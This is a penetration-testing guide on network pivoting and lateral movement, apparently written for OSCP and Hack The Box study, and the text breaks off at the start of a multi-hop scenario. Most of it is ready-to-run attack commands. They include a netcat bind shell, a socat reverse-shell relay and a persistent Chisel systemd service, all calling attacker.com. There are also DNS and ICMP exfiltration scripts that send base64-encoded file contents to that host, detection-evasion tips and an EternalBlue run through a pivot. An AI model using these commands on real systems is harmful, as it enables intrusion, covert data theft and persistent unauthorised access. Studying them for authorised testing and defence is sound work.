Penetration Testing - Network Pivoting & Lateral Movement Guide
Category: Penetration Testing - Phase 6
Tags: oscp, htb, pivoting, lateral-movement, tunneling, proxychains, port-forwarding, chisel
Network Pivoting & Lateral Movement Methodology
What this phase covers: Advanced techniques for moving through internal networks using compromised systems as pivot points. Includes tunneling, port forwarding, proxy chains, and covert channel establishment for accessing isolated network segments.
Why network pivoting is critical: Modern networks are segmented with firewalls, VLANs, and access controls. Initial compromise often provides access to only one network segment. Pivoting enables access to the entire infrastructure through compromised hosts.
HTB/OSCP Pivoting Approach: Network discovery → Pivot point establishment → Tunnel creation → Internal enumeration → Lateral movement → Multi-hop pivoting → Persistent access maintenance.
Network Pivoting Fundamentals
Understanding Network Segmentation
What network segmentation involves: Enterprise networks are divided into segments using firewalls, VLANs, subnets, and access controls to limit lateral movement and contain security breaches.
Why understanding segmentation matters: Effective pivoting requires understanding network topology, trust relationships, routing rules, and security boundaries to identify optimal pivot paths.
Common network segments:
- DMZ (Demilitarized Zone) - Public-facing services with limited internal access
- Internal LAN - Corporate workstations and standard services
- Server Networks - Critical infrastructure and data services
- Management Networks - Network infrastructure and administrative access
- Production Networks - Business-critical applications and databases
- Development Networks - Testing and development environments
# Initial network reconnaissance from compromised host
# Identify current network position
ip addr show # Linux: Show network interfaces
ipconfig /all # Windows: Show network configuration
route -n # Linux: Display routing table
route print # Windows: Display routing table
arp -a # Display ARP table (both platforms)
# Network discovery from pivot point
# Identify accessible networks and hosts
netstat -rn # Routing table analysis
ip route show # Linux: Detailed routing information
# Internal network scanning from compromised host
# Ping sweep for host discovery
for i in {1..254}; do (ping -c 1 192.168.1.$i | grep "bytes from" | cut -d' ' -f4 | cut -d':' -f1 &); done
# Windows ping sweep
for /L %i in (1,1,254) do @ping -n 1 -w 200 192.168.1.%i > nul && echo 192.168.1.%i is alive
# Port scanning from pivot (using netcat)
nc -zv 192.168.1.10 1-1000 # TCP port scan
nc -zuv 192.168.1.10 1-1000 # UDP port scan
# Why network reconnaissance is essential:
# - Identifies reachable network segments
# - Discovers internal services and hosts
# - Maps trust relationships and access patterns
# - Reveals optimal targets for further compromise
# - Guides pivot strategy development
Pivot Point Selection and Preparation
What makes a good pivot point: Systems with multiple network interfaces, broad network access, persistent connectivity, and sufficient privileges for tunnel establishment.
Why pivot point selection matters: Poor pivot selection leads to unstable connections, limited access, and easy detection. Strategic pivot points enable comprehensive network access.
# Evaluating potential pivot points
# Network interface analysis
ip addr show # Multiple interfaces indicate potential
ifconfig -a # Alternative interface listing
cat /proc/net/route # Linux routing information
# Windows interface analysis
ipconfig /all # Detailed interface information
netsh interface show interface # Interface status
route print # Routing table with metrics
# Privilege assessment for pivoting
whoami # Current user context
id # User and group information (Linux)
net localgroup administrators # Windows local admin check
sudo -l # Linux sudo privileges
# Network connectivity testing
# Test outbound connectivity from pivot
curl -I http://google.com # HTTP connectivity test
wget --spider http://google.com # Alternative connectivity test
nc -zv attacker.com 4444 # Test specific port connectivity
# Firewall and security assessment
# Linux firewall status
iptables -L # Current iptables rules
systemctl status ufw # UFW firewall status
# Windows firewall status
netsh advfirewall show allprofiles # Windows Firewall status
netsh advfirewall firewall show rule name=all # Detailed firewall rules
# Why thorough pivot assessment is crucial:
# - Ensures stable pivot connectivity
# - Identifies privilege limitations
# - Reveals firewall restrictions
# - Guides tunnel selection and configuration
# - Prevents pivot point failures during operations
SSH Tunneling and Port Forwarding
SSH Local Port Forwarding
What SSH local port forwarding does: Creates encrypted tunnels that forward local ports through SSH connections to remote destinations, enabling access to services behind firewalls.
Why SSH tunneling is powerful: Encrypted communication, legitimate protocol usage, supports multiple simultaneous tunnels, and provides authenticated access to internal resources.
When to use local port forwarding: Accessing specific internal services, tunneling through bastion hosts, and bypassing firewall restrictions on outbound connections.
# Basic SSH local port forwarding syntax
# ssh -L [local_port]:[target_host]:[target_port] [pivot_user]@[pivot_host]
# Practical examples
# Forward local port 8080 to internal web server
ssh -L 8080:192.168.1.100:80 user@pivot.com
# Access: http://localhost:8080 -> http://192.168.1.100:80
# Forward multiple ports simultaneously
ssh -L 8080:192.168.1.100:80 -L 3389:192.168.1.101:3389 -L 445:192.168.1.102:445 user@pivot.com
# Creates tunnels for HTTP, RDP, and SMB services
# Background SSH tunneling
ssh -f -N -L 8080:192.168.1.100:80 user@pivot.com
# -f: Fork to background
# -N: Don't execute remote commands
# -L: Local port forwarding
# SSH tunneling with key authentication
ssh -i private_key -f -N -L 8080:192.168.1.100:80 user@pivot.com
# Advanced SSH tunneling options
ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -L 8080:192.168.1.100:80 user@pivot.com
# Bypass host key verification (useful for automated pivoting)
# SSH tunneling through multiple hops
ssh -L 8080:localhost:8080 user@pivot1.com
# Then from pivot1:
ssh -L 8080:192.168.1.100:80 user@pivot2.com
# SSH tunnel management
ps aux | grep ssh # Find active SSH processes
kill -9 [ssh_process_id] # Terminate specific tunnel
pkill -f "ssh.*-L" # Kill all SSH tunnels
# Why SSH local port forwarding is effective:
# - Encrypted communication channel
# - Legitimate network protocol
# - Supports multiple simultaneous connections
# - Works through most firewalls
# - Provides authenticated access control
SSH Remote Port Forwarding
What SSH remote port forwarding does: Creates reverse tunnels where remote systems can access local services through the SSH connection, useful for bypassing inbound firewall restrictions.
Why remote port forwarding is valuable: Enables reverse connections, bypasses inbound firewall rules, and provides access from internal networks to external resources.
# SSH remote port forwarding syntax
# ssh -R [remote_port]:[local_host]:[local_port] [pivot_user]@[pivot_host]
# Basic remote port forwarding
ssh -R 8080:localhost:80 user@pivot.com
# Remote system can access localhost:80 via pivot:8080
# Reverse shell through SSH tunnel
ssh -R 4444:localhost:4444 user@pivot.com
# Set up netcat listener: nc -lvp 4444
# Remote system can connect back through tunnel
# Expose local services to internal network
ssh -R 3128:localhost:3128 user@pivot.com
# Exposes local proxy server to internal network
# Persistent remote port forwarding
ssh -f -N -R 8080:localhost:80 user@pivot.com
# Background remote tunnel
# SSH dynamic forwarding for SOCKS proxy
ssh -D 1080 user@pivot.com
# Creates SOCKS proxy on local port 1080
# Configure applications to use localhost:1080 as SOCKS proxy
# Using SSH SOCKS proxy with applications
# Configure browser to use SOCKS proxy: localhost:1080
# Use with curl:
curl --socks5 localhost:1080 http://internal.server.com
# Use with proxychains (covered later)
proxychains nmap -sS 192.168.1.0/24
# Advanced SSH dynamic forwarding
ssh -f -N -D 1080 user@pivot.com # Background SOCKS proxy
ssh -D 1080 -D 1081 user@pivot.com # Multiple SOCKS proxies
# Why SSH remote port forwarding is essential:
# - Bypasses inbound firewall restrictions
# - Enables reverse connections from internal networks
# - Provides secure tunnel for sensitive communications
# - Supports complex multi-hop scenarios
# - Integrates with existing SSH infrastructure
SSH ProxyJump and Multi-Hop Tunneling
What SSH ProxyJump provides: Native SSH capability for chaining connections through multiple intermediate hosts, simplifying complex multi-hop scenarios.
# SSH ProxyJump syntax
ssh -J user1@pivot1.com,user2@pivot2.com user3@target.com
# Connects through pivot1 -> pivot2 -> target
# ProxyJump with port forwarding
ssh -J user@pivot.com -L 8080:192.168.1.100:80 user@internal.host
# Forward through jump host to final destination
# SSH config file for complex pivoting
# ~/.ssh/config
Host pivot
HostName pivot.external.com
User pivot_user
IdentityFile ~/.ssh/pivot_key
Host internal-*
ProxyJump pivot
User internal_user
IdentityFile ~/.ssh/internal_key
Host internal-web
HostName 192.168.1.100
LocalForward 8080 localhost:80
Host internal-db
HostName 192.168.1.200
LocalForward 3306 localhost:3306
# Usage with config file
ssh internal-web # Automatically uses ProxyJump
ssh internal-db # Connects and forwards database port
# Advanced SSH tunneling combinations
# SOCKS proxy through ProxyJump
ssh -J user@pivot.com -D 1080 user@internal.host
# Multiple services through single ProxyJump
ssh -J user@pivot.com -L 8080:web.internal:80 -L 3389:dc.internal:3389 -L 445:file.internal:445 user@gateway.internal
# Why ProxyJump simplifies complex pivoting:
# - Native SSH functionality
# - Simplifies multi-hop connections
# - Integrates with SSH configuration
# - Supports all SSH features through hops
# - Reduces connection complexity and errors
Chisel for HTTP/HTTPS Tunneling
Chisel Setup and Basic Usage
What Chisel is: Fast TCP/UDP tunnel over HTTP, secured via SSH. Provides SOCKS proxy and port forwarding capabilities with minimal footprint and cross-platform support.
Why Chisel is excellent for pivoting: Works through HTTP proxies, encrypted communication, single binary deployment, supports both client and server modes, and bypasses many firewall restrictions.
When to use Chisel: Restrictive network environments, when SSH is not available, through HTTP proxies, and for rapid deployment scenarios.
# Chisel installation and setup
# Download from GitHub releases: https://github.com/jpillora/chisel/releases
# Available for Linux, Windows, macOS, ARM
# Transfer chisel to target systems
# Linux
wget https://github.com/jpillora/chisel/releases/download/v1.8.1/chisel_1.8.1_linux_amd64.gz
gunzip chisel_1.8.1_linux_amd64.gz
chmod +x chisel_1.8.1_linux_amd64
mv chisel_1.8.1_linux_amd64 chisel
# Windows (PowerShell)
Invoke-WebRequest -Uri "https://github.com/jpillora/chisel/releases/download/v1.8.1/chisel_1.8.1_windows_amd64.exe" -OutFile "chisel.exe"
# Basic Chisel server setup (on attacker machine)
./chisel server --port 8080 --reverse # Server with reverse tunneling
./chisel server --port 8080 --auth user:pass # Server with authentication
./chisel server --port 443 --key server.key --cert server.crt # HTTPS server
# Basic Chisel client connection (on pivot machine)
./chisel client attacker.com:8080 R:1080:socks
# R: Reverse tunnel
# 1080: SOCKS proxy port on server
# socks: Create SOCKS proxy
# Chisel port forwarding examples
# Local port forwarding (client -> server)
./chisel client attacker.com:8080 8080:192.168.1.100:80
# Forward attacker:8080 -> 192.168.1.100:80 through pivot
# Remote port forwarding (server -> client)
./chisel client attacker.com:8080 R:3389:192.168.1.100:3389
# Forward server:3389 -> 192.168.1.100:3389 through pivot
# SOCKS proxy setup
# Server side (attacker)
./chisel server --port 1080 --reverse --socks5
# Client side (pivot)
./chisel client attacker.com:1080 R:socks
# Creates SOCKS proxy on attacker machine
# Why Chisel excels in restrictive environments:
# - HTTP/HTTPS protocol tunneling
# - Works through corporate proxies
# - Minimal binary footprint
# - Cross-platform compatibility
# - Built-in authentication and encryption
Advanced Chisel Configurations
# Chisel with authentication
# Server with user authentication
./chisel server --port 8080 --auth user:password --reverse
# Client with authentication
./chisel client --auth user:password attacker.com:8080 R:1080:socks
# Chisel over HTTPS (bypasses deep packet inspection)
# Generate SSL certificates
openssl req -x509 -newkey rsa:4096 -keyout server.key -out server.cert -days 365 -nodes
# HTTPS server
./chisel server --port 443 --key server.key --cert server.cert --reverse
# HTTPS client (bypass certificate validation)
./chisel client --skip-verify attacker.com:443 R:1080:socks
# Multiple tunnels through single Chisel connection
./chisel client attacker.com:8080 R:3389:192.168.1.100:3389 R:445:192.168.1.101:445 R:1433:192.168.1.102:1433
# Multiple services through one tunnel
# Chisel through HTTP proxy
./chisel client --proxy http://proxy.company.com:8080 attacker.com:80 R:1080:socks
# Client connects through corporate HTTP proxy
# Persistent Chisel connections
# Using systemd (Linux)
cat > /etc/systemd/system/chisel.service << 'EOF'
[Unit]
Description=Chisel Client
After=network.target
[Service]
Type=simple
User=chisel
ExecStart=/usr/local/bin/chisel client attacker.com:8080 R:1080:socks
Restart=always
RestartSec=10
[Install]
WantedBy=multi-user.target
EOF
systemctl enable chisel.service
systemctl start chisel.service
# Using Windows Service (Windows)
# Create Windows service wrapper for persistent connections
# Chisel performance optimization
./chisel server --port 8080 --reverse --keepalive 30s
# Keep connections alive in unstable networks
./chisel client --keepalive 30s --max-retry-count 5 attacker.com:8080 R:1080:socks
# Client-side connection resilience
# Why advanced Chisel configurations are important:
# - Authentication prevents unauthorized access
# - HTTPS bypasses content inspection
# - Multiple tunnels reduce connection overhead
# - Proxy support enables corporate network traversal
# - Persistence ensures continuous access
Proxychains and SOCKS Proxying
Proxychains Configuration and Usage
What Proxychains does: Redirects TCP connections through proxy servers, enabling tools to work through SOCKS proxies and pivot through compromised hosts.
Why Proxychains is essential: Forces network tools through pivot points, supports multiple proxy types, enables complex proxy chains, and works with most command-line tools.
# Proxychains installation
# Debian/Ubuntu
sudo apt install proxychains4
# CentOS/RHEL
sudo yum install proxychains-ng
# Manual installation
git clone https://github.com/rofl0r/proxychains-ng.git
cd proxychains-ng
./configure --prefix=/usr --sysconfdir=/etc
make
sudo make install
# Proxychains configuration file
# Location: /etc/proxychains4.conf or ~/.proxychains/proxychains.conf
# Basic configuration
cat > ~/.proxychains/proxychains.conf << 'EOF'
strict_chain
proxy_dns
remote_dns_subnet 224
tcp_read_time_out 15000
tcp_connect_time_out 8000
[ProxyList]
socks5 127.0.0.1 1080
EOF
# Configuration modes
# strict_chain: All proxies must be working
# dynamic_chain: Skip dead proxies
# random_chain: Use random proxy from list
# Advanced configuration examples
# Multiple proxy chain
cat > ~/.proxychains/proxychains.conf << 'EOF'
strict_chain
proxy_dns
[ProxyList]
socks5 127.0.0.1 1080
socks5 127.0.0.1 1081
http 127.0.0.1 8080
EOF
# Using Proxychains with common tools
# Network scanning through proxy
proxychains nmap -sS -Pn 192.168.1.0/24 # Stealth scan through proxy
proxychains nmap -sV -p 80,443,22,3389 192.168.1.100 # Version detection
# Web enumeration through proxy
proxychains gobuster dir -u http://192.168.1.100 -w /usr/share/wordlists/dirb/common.txt
proxychains nikto -h http://192.168.1.100
# Database connections through proxy
proxychains mysql -h 192.168.1.200 -u root -p
proxychains psql -h 192.168.1.201 -U postgres
# SSH connections through proxy
proxychains ssh user@192.168.1.150
# File transfers through proxy
proxychains wget http://192.168.1.100/file.txt
proxychains curl -O http://192.168.1.100/file.txt
# Metasploit through proxychains
proxychains msfconsole
# Then use auxiliary modules for internal network scanning
# Proxychains troubleshooting
# Test proxy connectivity
proxychains curl http://ipinfo.io # Check external IP through proxy
# Debug mode
proxychains4 -f ~/.proxychains/proxychains.conf -q curl http://192.168.1.100
# -f: Specify config file
# -q: Quiet mode
# Why Proxychains is crucial for pivoting:
# - Redirects any TCP-based tool through proxies
# - Supports complex multi-hop proxy chains
# - Enables network tools in segmented environments
# - Provides DNS resolution through proxy
# - Works with most penetration testing tools
SOCKS Proxy Setup and Management
What SOCKS proxies provide: Protocol-agnostic proxy servers that relay network connections, supporting both TCP and UDP traffic through pivot points.
Why SOCKS proxies are versatile: Support multiple protocols, work with most applications, provide authenticated access, and enable complex network routing scenarios.
# Creating SOCKS proxies through various methods
# Method 1: SSH Dynamic Port Forwarding
ssh -D 1080 user@pivot.com # SOCKS5 proxy on port 1080
ssh -f -N -D 1080 user@pivot.com # Background SOCKS proxy
# Method 2: Chisel SOCKS proxy
# Server (attacker machine)
./chisel server --port 8080 --reverse --socks5
# Client (pivot machine)
./chisel client attacker.com:8080 R:socks # SOCKS proxy on attacker
# Method 3: Using Metasploit SOCKS proxy
# From meterpreter session
run autoroute -s 192.168.1.0/24 # Add route through session
background # Background the session
# Start SOCKS proxy module
use auxiliary/server/socks_proxy
set SRVPORT 1080
run -j # Run as background job
# Method 4: Standalone SOCKS proxy servers
# Using microsocks (lightweight SOCKS5 server)
git clone https://github.com/rofl0r/microsocks.git
cd microsocks
make
./microsocks -i 127.0.0.1 -p 1080 # SOCKS5 server on localhost:1080
# Using 3proxy
3proxy /etc/3proxy/3proxy.cfg # Full-featured proxy server
# SOCKS proxy authentication
# SSH with authentication
ssh -o PreferredAuthentications=password -D 1080 user@pivot.com
# Chisel with authentication
./chisel server --port 8080 --auth user:pass --socks5
./chisel client --auth user:pass attacker.com:8080 R:socks
# SOCKS proxy testing and validation
# Test SOCKS connectivity
curl --socks5 localhost:1080 http://ipinfo.io # Test external connectivity
curl --socks5 localhost:1080 http://192.168.1.100 # Test internal connectivity
# Browser configuration for SOCKS proxy
# Firefox: Network Settings -> Manual proxy -> SOCKS Host: localhost, Port: 1080
# Chrome: --proxy-server="socks5://localhost:1080"
# Command-line tools with native SOCKS support
curl --socks5 localhost:1080 http://target.com
wget --proxy=on --socks-proxy=localhost:1080 http://target.com
nmap --proxies socks4://localhost:1080 target.com
# Why SOCKS proxies are fundamental to pivoting:
# - Protocol-agnostic traffic forwarding
# - Support for both TCP and UDP
# - Works with most network applications
# - Provides centralized pivot point management
# - Enables complex network routing scenarios
Port Forwarding and Tunneling Tools
Socat for Advanced Port Forwarding
What Socat is: Swiss Army knife for network connections, providing bidirectional data transfer between various endpoints including files, pipes, devices, sockets, and proxy connections.
Why Socat is powerful: Supports multiple protocols, provides encryption capabilities, enables complex connection scenarios, and works across platforms.
# Socat installation
# Debian/Ubuntu
sudo apt install socat
# CentOS/RHEL
sudo yum install socat
# Basic port forwarding with Socat
# Simple TCP port forwarding
socat TCP-LISTEN:8080,fork TCP:192.168.1.100:80
# Forwards local port 8080 to remote port 80
# UDP port forwarding
socat UDP-LISTEN:53,fork UDP:192.168.1.10:53
# Forwards UDP DNS traffic
# Reverse shell relay through Socat
# On pivot machine
socat TCP-LISTEN:4444,fork TCP:attacker.com:4444
# Relays connections from internal network to external attacker
# SSL/TLS encrypted tunneling
# Generate SSL certificate
openssl req -newkey rsa:2048 -nodes -keyout server.key -x509 -days 365 -out server.crt
# SSL server (on attacker machine)
socat OPENSSL-LISTEN:443,cert=server.crt,key=server.key,fork TCP:localhost:4444
# SSL client (on pivot machine)
socat TCP-LISTEN:8080,fork OPENSSL:attacker.com:443,verify=0
# Advanced Socat tunneling scenarios
# HTTP CONNECT proxy tunnel
socat TCP-LISTEN:8080,fork PROXY:proxy.company.com:3128,proxyport=8080
# Multiple port forwarding with shell scripting
#!/bin/bash
# Forward multiple services
socat TCP-LISTEN:8080,fork TCP:192.168.1.100:80 &
socat TCP-LISTEN:3389,fork TCP:192.168.1.101:3389 &
socat TCP-LISTEN:445,fork TCP:192.168.1.102:445 &
wait
# File transfer through Socat tunnel
# Sender
socat TCP-LISTEN:8080,fork SYSTEM:'cat file.txt'
# Receiver
socat TCP:pivot.com:8080 SYSTEM:'cat > received_file.txt'
# Persistent Socat tunnels
# Using screen/tmux for persistence
screen -S socat-tunnel
socat TCP-LISTEN:8080,fork TCP:192.168.1.100:80
# Ctrl+A, D to detach
# Socat with authentication and encryption
# Password-protected tunnel
socat OPENSSL-LISTEN:443,cert=server.crt,key=server.key,fork,verify=0 TCP:localhost:22
# Why Socat is versatile for pivoting:
# - Supports numerous protocols (TCP, UDP, SSL, HTTP)
# - Built-in encryption capabilities
# - Bidirectional data transfer
# - Works with files, devices, and network sockets
# - Excellent for relay and gateway scenarios
Netcat for Simple Port Forwarding
What Netcat provides: Lightweight networking utility for reading and writing data across network connections, often called the "network Swiss Army knife."
Why Netcat is useful for pivoting: Minimal footprint, available on most systems, simple syntax, and effective for basic tunneling scenarios.
# Basic Netcat port forwarding
# Simple port relay using named pipes (Linux)
mkfifo /tmp/pipe
nc -l -p 8080 < /tmp/pipe | nc 192.168.1.100 80 > /tmp/pipe
# Alternative method using shell redirection
nc -l -p 8080 -e /bin/sh -c "nc 192.168.1.100 80"
# Netcat reverse tunnel
# On pivot machine
nc -l -p 4444 -e /bin/sh
# On attacker machine
nc pivot.com 4444
# Netcat with SSL/TLS using ncat (Nmap version)
# SSL server
ncat --ssl -l -p 443 -c "nc 192.168.1.100 80"
# SSL client
ncat --ssl pivot.com 443
# Netcat for file transfer through tunnel
# Send file
nc -l -p 8080 < file.txt
# Receive file
nc pivot.com 8080 > received_file.txt
# Netcat UDP tunneling
# UDP port forwarding
nc -u -l -p 53 -c "nc -u 192.168.1.10 53"
# Netcat limitations for pivoting:
# - No native encryption (except ncat)
# - Limited to single connections (no forking)
# - Basic functionality compared to specialized tools
# - Platform-specific behavior variations
# When to use Netcat for pivoting:
# - Simple, temporary port forwarding needs
# - Minimal footprint requirements
# - Quick testing and verification
# - Basic file transfer scenarios
Metasploit Pivoting Modules
Meterpreter Autoroute and Portfwd
What Meterpreter pivoting provides: Built-in pivoting capabilities through compromised Meterpreter sessions, including routing and port forwarding functionality.
Why Meterpreter pivoting is effective: Integrated with exploitation framework, persistent session management, multiple pivot methods, and seamless tool integration.
# Meterpreter session pivoting setup
# Assume you have active meterpreter session
# Check current network configuration
meterpreter > ipconfig # Windows
meterpreter > ifconfig # Linux
meterpreter > route # View routing table
# Add routes through Meterpreter session
meterpreter > run autoroute -s 192.168.1.0/24
# Adds route to 192.168.1.0/24 through current session
# View configured routes
meterpreter > run autoroute -p # Print routes
# Delete routes
meterpreter > run autoroute -d 192.168.1.0/24
# Port forwarding through Meterpreter
# Local port forwarding
meterpreter > portfwd add -l 3389 -p 3389 -r 192.168.1.100
# Forward local port 3389 to 192.168.1.100:3389
# List active port forwards
meterpreter > portfwd list
# Delete port forward
meterpreter > portfwd delete -l 3389
# Background the session for concurrent use
meterpreter > background
# Use other Metasploit modules through pivot
# Port scanning through pivot
use auxiliary/scanner/portscan/tcp
set RHOSTS 192.168.1.0/24
set THREADS 50
run
# SMB scanning through pivot
use auxiliary/scanner/smb/smb_version
set RHOSTS 192.168.1.0/24
run
# Exploitation through pivot
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.100
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.50 # IP of pivot machine
exploit
# SOCKS proxy through Meterpreter
# Background meterpreter session first
background
# Start SOCKS proxy module
use auxiliary/server/socks_proxy
set SRVPORT 1080
set VERSION 5
run -j
# Configure external tools to use SOCKS proxy
# Edit /etc/proxychains4.conf:
# socks5 127.0.0.1 1080
# Use tools through SOCKS proxy
proxychains nmap -sS 192.168.1.0/24
# Why Meterpreter pivoting is powerful:
# - Integrated with Metasploit framework
# - Persistent session-based routing
# - Multiple simultaneous connections
# - Built-in SOCKS proxy capabilities
# - Seamless integration with exploitation modules
Advanced Metasploit Pivoting Techniques
# Multi-hop pivoting through Metasploit
# Session 1: Initial compromise (DMZ)
# Session 2: Internal network (through Session 1)
# Session 3: Server network (through Session 2)
# Configure routing for multi-hop scenario
# From Session 1 (DMZ machine)
sessions -i 1
run autoroute -s 192.168.10.0/24 # Internal network
# From Session 2 (Internal machine)
sessions -i 2
run autoroute -s 192.168.20.0/24 # Server network
# Now can access Server network through both hops
# Load balancing across multiple sessions
# Use multiple compromised hosts as pivot points
sessions -i 1
run autoroute -s 192.168.1.0/24
sessions -i 2
run autoroute -s 192.168.1.0/24
# Metasploit will balance traffic across available routes
# Persistent pivoting with handlers
# Set up persistent handlers on pivot points
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 0.0.0.0 # Listen on all interfaces
set LPORT 4444
exploit -j # Run as background job
# Session management for complex pivots
sessions -l # List all sessions
sessions -i 1 # Interact with specific session
sessions -k 1 # Kill specific session
sessions -K # Kill all sessions
# Resource scripts for automated pivoting
cat > pivot_setup.rc << 'EOF'
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 0.0.0.0
set LPORT 4444
exploit -j -z
use auxiliary/server/socks_proxy
set SRVPORT 1080
run -j
EOF
msfconsole -r pivot_setup.rc
# Advanced routing scenarios
# Route specific subnets through different sessions
run autoroute -s 192.168.1.0/24 -n 1 # Through session 1
run autoroute -s 192.168.2.0/24 -n 2 # Through session 2
# Conditional routing based on session availability
# If primary session fails, traffic routes through backup
# Why advanced Metasploit pivoting is essential:
# - Multi-hop network traversal
# - Load balancing across pivot points
# - Persistent session management
# - Automated pivot establishment
# - Complex routing scenario support
Advanced Tunneling Techniques
DNS Tunneling
What DNS tunneling is: Technique that encodes data within DNS queries and responses to bypass firewalls and exfiltrate data through DNS traffic.
Why DNS tunneling is stealthy: DNS traffic is typically allowed through firewalls, appears legitimate, and is often unmonitored by security tools.
When to use DNS tunneling: Highly restrictive network environments, when other protocols are blocked, and for covert data exfiltration.
# DNS tunneling tools and setup
# dnscat2 - Popular DNS tunneling tool
# Server setup (attacker machine)
git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/server
gem install bundler
bundle install
ruby dnscat2.rb example.com
# Client setup (pivot machine)
# Download dnscat2 client binary
./dnscat --dns server=attacker.com example.com
# iodine - High-performance DNS tunnel
# Server setup
sudo iodined -f -c -P password 10.0.0.1 tunnel.example.com
# Client setup
sudo iodine -f -P password tunnel.example.com
# DNS2TCP - Reliable DNS tunneling
# Server configuration
cat > dns2tcpd.conf << 'EOF'
listen = 0.0.0.0
port = 53
user = nobody
chroot = /tmp
domain = tunnel.example.com
resources = ssh:127.0.0.1:22,http:127.0.0.1:80
EOF
dns2tcpd -F -d 1 -f dns2tcpd.conf
# Client usage
dns2tcpc -z tunnel.example.com attacker.com
# Creates local proxy for tunneled services
# Custom DNS tunneling with dig/nslookup
# Encode data in DNS queries
echo "sensitive data" | base64 | tr -d '\n' | sed 's/.\{60\}/&./'g | sed 's/$/\.tunnel\.example\.com/'
# Results in DNS queries like: dGVzdGRhdGE.tunnel.example.com
# Automated DNS exfiltration script
cat > dns_exfil.sh << 'EOF'
#!/bin/bash
FILE=$1
DOMAIN="tunnel.example.com"
SERVER="attacker.com"
while IFS= read -r line; do
encoded=$(echo "$line" | base64 | tr -d '\n')
# Split into DNS-safe chunks
for chunk in $(echo "$encoded" | sed 's/.\{50\}/&\n/g'); do
nslookup "$chunk.$DOMAIN" "$SERVER" > /dev/null 2>&1
sleep 1
done
done < "$FILE"
EOF
# DNS tunneling detection evasion
# Randomize query timing
sleep $(( RANDOM % 10 + 1 ))
# Use legitimate DNS record types
dig A random.example.com
dig TXT random.example.com
dig MX random.example.com
# Why DNS tunneling is effective:
# - Uses legitimate network protocol
# - Bypasses most firewall restrictions
# - Difficult to detect without deep analysis
# - Works in highly restrictive environments
# - Supports bidirectional communication
ICMP Tunneling
What ICMP tunneling is: Technique that encodes data within ICMP (ping) packets to create covert communication channels through firewalls.
Why ICMP tunneling works: ICMP traffic is commonly allowed for network diagnostics, appears as legitimate ping traffic, and is rarely inspected deeply.
# ICMP tunneling tools
# ptunnel - ICMP tunnel over ping packets
# Server setup (attacker machine)
sudo ptunnel -x password
# Client setup (pivot machine)
sudo ptunnel -p attacker.com -lp 8080 -da 192.168.1.100 -dp 80 -x password
# Tunnels local port 8080 to 192.168.1.100:80 through ICMP
# icmptunnel - Lightweight ICMP tunnel
# Server setup
sudo ./icmptunnel -s
# Client setup
sudo ./icmptunnel -c attacker.com
# Custom ICMP tunneling with Python
cat > icmp_tunnel.py << 'EOF'
#!/usr/bin/env python3
import socket
import struct
import base64
def create_icmp_packet(data):
# ICMP header: type (8), code (0), checksum (0), id, sequence
icmp_header = struct.pack('!BBHHH', 8, 0, 0, 1, 1)
# Encode data and embed in ICMP payload
encoded_data = base64.b64encode(data.encode()).decode()
packet = icmp_header + encoded_data.encode()
return packet
def send_icmp_data(target, data):
sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP)
packet = create_icmp_packet(data)
sock.sendto(packet, (target, 0))
sock.close()
# Usage
send_icmp_data("attacker.com", "secret data")
EOF
# ICMP data exfiltration
# Split file into ICMP packets
split -b 1024 secret_file.txt chunk_
for chunk in chunk_*; do
data=$(base64 -w 0 "$chunk")
ping -c 1 -p "$data" attacker.com
sleep 2
done
# ICMP tunneling detection evasion
# Vary packet timing
ping -i $(echo "scale=2; $RANDOM/32767*5" | bc) attacker.com
# Use different ICMP types
# Type 8: Echo Request (standard ping)
# Type 13: Timestamp Request
# Type 17: Address Mask Request
# Why ICMP tunneling is valuable:
# - Uses ubiquitous network protocol
# - Appears as legitimate network diagnostics
# - Works through most firewalls
# - Low detection probability
# - Suitable for covert communications
HTTP/HTTPS Tunneling
What HTTP/HTTPS tunneling involves: Encapsulating other protocols within HTTP/HTTPS traffic to bypass firewall restrictions and content filtering.
Why HTTP tunneling is effective: HTTP/HTTPS traffic is universally allowed, appears legitimate, and can work through corporate proxies.
# HTTP tunneling tools and techniques
# reGeorg - HTTP tunnel through web shells
# Upload reGeorg web shell (PHP, ASP, ASPX, JSP)
# Python client connects through web shell
python reGeorgSocksProxy.py -p 1080 -u http://target.com/tunnel.php
# Neo-reGeorg - Advanced version of reGeorg
python neoreg.py -k password -u http://target.com/tunnel.php
# httptunnel - Classic HTTP tunneling tool
# Server setup
sudo httptunnel -s -P 80 -p 8080
# Client setup
httptunnel -c -P 3128 -p 8080 attacker.com
# Chisel over HTTP (covered earlier)
# Particularly effective for HTTP-based tunneling
./chisel server --port 80 --reverse
./chisel client attacker.com:80 R:1080:socks
# Custom HTTP tunneling with curl
# POST data through HTTP tunnel
curl -X POST -d "command=whoami" http://target.com/tunnel.php
# HTTP CONNECT method tunneling
# Manual CONNECT proxy
telnet proxy.company.com 3128
CONNECT attacker.com:443 HTTP/1.1
Host: attacker.com:443
# Browser-based HTTP tunneling
# Use browser developer tools to send HTTP requests
# Embed commands in HTTP headers or POST data
# WebSocket tunneling (modern HTTP upgrade)
# Upgrade HTTP connection to WebSocket
# Full-duplex communication over port 80/443
# HTTPS tunneling with SSL
# Encrypt tunnel traffic within HTTPS
# Bypasses deep packet inspection
# HTTP tunneling through legitimate services
# Use cloud services as relay points
# Examples: Google Apps Script, AWS Lambda, Azure Functions
# Why HTTP/HTTPS tunneling is universally effective:
# - Works through all web-enabled networks
# - Bypasses most firewall configurations
# - Can leverage legitimate web services
# - Encrypted HTTPS variant prevents inspection
# - Compatible with corporate proxy environments
Multi-Hop Pivoting Scenarios
Complex Network Traversal
What multi-hop pivoting involves: Chaining multiple pivot points together to traverse complex network topologies with multiple security boundaries.
Why multi-hop pivoting is necessary: Enterprise networks have multiple security zones, defense-in-depth strategies, and micro-segmentation that require multiple pivot points.
# Multi-hop pivoting scenario example
# Internet -> DMZ (Pivot 1) -> Internal LAN (Pivot 2) -> Server Network (Target)
# Stage 1: Initial DMZ compromise and pivot setup
# Compromise DMZ web server: 203.0.113.10
# Internal interface: 192.168.1.10
# Set up first pivot point
